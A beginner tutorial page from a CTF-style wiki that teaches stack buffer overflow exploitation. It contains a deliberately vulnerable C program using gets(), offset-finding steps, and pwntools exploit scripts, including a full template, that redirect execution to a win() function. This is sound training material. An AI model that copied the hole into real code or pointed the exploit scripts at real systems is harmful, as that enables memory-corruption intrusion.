Athena Wiki

Stack Buffer Overflow

pwnbeginner

Understand and exploit stack-based buffer overflows - the most fundamental pwn technique.

pwnbuffer-overflowstackgdbpwntools

Stack Buffer Overflow

A stack buffer overflow happens when a program reads more input than a buffer can hold, and the extra bytes spill into nearby memory — including the return address. By controlling the return address, you control where the program goes next.

This is the most fundamental pwn technique. Almost everything else in this section builds on it.


A Vulnerable Program

Here's a typical CTF challenge. Look at this code and think about what happens if you type more than 64 characters:

#include <stdio.h>

void win() {
    printf("You win! Here's your flag: flag{...}\n");
}

void vuln() {
    char buf[64];
    printf("Enter your name: ");
    gets(buf);           // reads until newline, no length limit!
    printf("Hello, %s!\n", buf);
}

int main() {
    vuln();
    return 0;
}

The bug: gets() has no length limit. It will keep reading input past the end of buf. What's past the end of buf? The saved RBP and the return address.


What the Stack Looks Like

When vuln() is called, the CPU pushes the return address (where to go after vuln finishes) onto the stack. Local variables like buf sit below it:

High address (toward 0x7fff...)
┌────────────────────┐
│   Return address   │  ← normally points back to main()
├────────────────────┤
│   Saved RBP        │  ← 8 bytes on 64-bit
├────────────────────┤
│   buf[0..63]       │  ← your input goes here
└────────────────────┘
Low address

If you write 64 bytes into buf, that fills the buffer. Bytes 65-72 overwrite the saved RBP. Bytes 73-80 overwrite the return address. When vuln() returns, the CPU reads your fake return address and jumps to it — jumping to win().

Mermaid diagram

Finding the Offset

You need to know exactly how many bytes reach the return address. Two methods:

Send a unique pattern, crash the program, and check which bytes ended up in the return address:

from pwn import *

p = process('./vuln')
p.sendline(cyclic(200))    # send a 200-byte pattern
p.wait()                   # wait for crash

Open the coredump or run in GDB:

gdb ./vuln core
# or: run the program in GDB and crash it

gef> pattern search $rsp
# Output: Found at offset 72

The offset is 72 — that's 64 bytes for buf + 8 bytes for saved RBP.


Building the Exploit

Once you know the offset, the exploit is straightforward:

Check protections

checksec --file=./vuln

You need: no canary (or leaked canary), and you need to know the address of win(). If PIE is off, win() is at a fixed address.

Find the address of win()

nm ./vuln | grep win
# 0000000000401156 T win

Or in pwntools: elf.sym['win'].

Build and send the payload

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

offset = 72
win_addr = elf.sym['win']

payload  = b'A' * offset     # fill buffer + saved RBP
payload += p64(win_addr)      # overwrite return address

p.sendline(payload)
p.interactive()               # should print "You win!"

What happens step by step:

  1. b'A' * 72 fills buf (64 bytes) and overwrites saved RBP (8 bytes)
  2. p64(win_addr) overwrites the return address with win()'s address
  3. When vuln() returns, the CPU pops win_addr into RIP and jumps to it

When It Crashes: Stack Alignment

On x86-64, the stack must be 16-byte aligned before a call instruction. If win() crashes silently (especially if it calls printf or system), the stack is probably misaligned. Fix it by adding a ret gadget before your target:

rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]

payload  = b'A' * offset
payload += p64(ret)          # align the stack
payload += p64(win_addr)     # then jump to win()

This is a common gotcha. If your exploit works locally but crashes in GDB, try adding the ret gadget.


Checking Protections

Run checksec before writing any exploit:

$ checksec --file=./vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
ProtectionWhat it means for you
No CanaryYou can overflow freely without worrying about the canary check
NX enabledYou can't run shellcode on the stack — you need ROP or ret2libc (see ROP Chains)
No PIEwin() is at a fixed address — use it directly
PIE enabledYou need to leak a binary address first (see Linux Protections)
Canary foundYou need to leak the canary before overflowing (see Linux Protections)

This page covers the simplest case: no canary, no PIE, NX enabled but a win() function exists. For more complex scenarios, see ROP Chains and ret2libc.


Dangerous C Functions

These functions are the root cause of most buffer overflows. If you see them in a binary, look for an overflow:

FunctionWhy it's dangerous
gets()No length limit at all
scanf("%s", buf)No length limit
strcpy(dst, src)Stops at null byte, no bounds check
read(0, buf, BIG_N)Reads more than buffer size
memcpy(dst, src, n)Dangerous if n is attacker-controlled

Full Exploit Template

from pwn import *

# Setup
context.binary = elf = ELF('./vuln')
context.log_level = 'info'

if args.REMOTE:
    p = remote('challenge.ctf.com', 9001)
elif args.GDB:
    p = gdb.debug('./vuln', gdbscript='break main\ncontinue\n')
else:
    p = process('./vuln')

# Exploit
offset = 72
ret = ROP(elf).find_gadget(['ret'])[0]

payload  = b'A' * offset
payload += p64(ret)              # stack alignment (optional, add if crashing)
payload += p64(elf.sym['win'])

p.sendline(payload)
p.interactive()

Checklist

  • Run checksec — is there a canary? Is PIE off?
  • Find the overflow offset (cyclic pattern + GDB)
  • Find the target address (nm ./vuln | grep win or elf.sym['win'])
  • Build payload: padding + optional ret gadget + target address
  • If it crashes silently, try adding a ret gadget for alignment
  • If NX is on and there's no win(), you need ROP or ret2libc

Last updated on

On this page